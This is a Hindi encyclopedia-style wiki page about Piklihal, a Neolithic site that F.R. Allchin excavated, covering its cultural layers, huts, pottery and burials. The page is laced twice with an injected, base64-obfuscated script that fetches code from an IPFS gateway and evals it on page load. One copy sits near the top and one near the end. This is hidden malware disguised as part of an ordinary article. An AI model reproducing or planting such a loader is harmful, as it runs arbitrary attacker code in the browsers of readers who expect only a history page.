एक्स्प्रेशन त्रुटि: अनपेक्षित उद्गार चिन्ह "२"।

पिकलीहल

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
The printable version is no longer supported and may have rendering errors. Please update your browser bookmarks and please use the default browser print function instead.
Icon-edit.gif इस लेख का पुनरीक्षण एवं सम्पादन होना आवश्यक है। आप इसमें सहायता कर सकते हैं। "सुझाव"

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

पिकलीहल एक ऐतिहासिक स्थान जो वर्तमान में आन्ध्र प्रदेश के रायचूर ज़िले की एक पहाड़ी के पास विद्यमान है।

उत्खनन

इस स्थल का उत्खनन एफ.आर. आलचिन ने करवाया। परिणामस्वरूप ऊपर से क्रमशः प्रारम्भिक ऐतिहासिक, लौह युगीन, महाश्मक कालीन तथा नव-प्रस्तर युगीन सांस्कृतिक चरणों के प्रमाण प्राप्त हुए हैं। पिकलीहल में नव प्रस्तर युग के अवशेष सबसे निचले स्तरों से प्राप्त हुए थे। पिकलीहल से प्राप्त नव-प्रस्तर कालीन अवशेषों को दो चरणों में विभाजित किया है।

प्रथम चरण

पिकलीहल के प्रथम चरण में कूटकर बनाए फर्शों पर वृत्ताकार झोपड़ियों का निर्माण किया गया था, जिसकी परिधि दीवार को पाषाण खण्डों की पंक्ति से सहारा दिया जाता था। पिकलीहल में मानव निर्मित कृतियाँ मिली हैं, जिनमें हस्त-निर्मित मार्जित सतही तथा सादे, धूसर, बादामी, कृष्ण, चाकलेट तथा लाल मृद्भाण्ड हैं जिनमें से कुछ को पकाने के पूर्व जामुनी या गेरु रंग से चित्रित किया गया था तथा अन्य धूसर पात्रों को गेरु रंग से रंगा गया था। पात्रों में साधारण आकार के घट, टोटीदार पात्र, कटोरे, मोटे किनारों वाले छिद्रित पात्र उल्लेखनीय प्रकार के हैं। मृदा की पकी हुई मूर्तियों में मानव, पशु तथा चिड़ियों की आकृतियाँ प्राप्त हुई हैं।

पाषाण उपकरणों में घर्षित कुल्हाड़ियाँ, छेनिया प्रमुख हैं। शवाधानों के खड्डे में कंकाल सीधे लेटा कर रखे मिले थे। जिनके साथ विभिन्न पात्र, यथा-कटोरे, टोंटीदार पात्र, फलक तथा मांस को भी खाद्य सामग्री के रूप में मृतक के साथ रखा जाता था। नर कंकालों में द्रविड़ प्रजातीय शारीरिक संरचना पायी गयी है।

द्वितीय चरण

पिकलीहल काद्वितीय चरण उच्च नव-प्रस्तर कालीन है। इसमें आश्रयों की फर्श कूटी मिट्टी की बनी है तथा इनके किनारों पर लकड़ी के स्तम्भों के सहारे हाट या फूस की दीवार बाँधने का अनुमान है। झोपड़ियों के अन्दर चूल्हे तथा पात्रों को स्थिर रखने के लिए इनको तीन पाषाण खण्डों पर टिकाया गया था। इनके बाहरी भाग से सिल व लोढ़े प्राप्त किए गए हैं। यहाँ से प्राप्त ताम्र निर्मित पात्र के अवशेष तथा सींपी उल्लेखनीय हैं।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

बाहरी कड़ियाँ

संबंधित लेख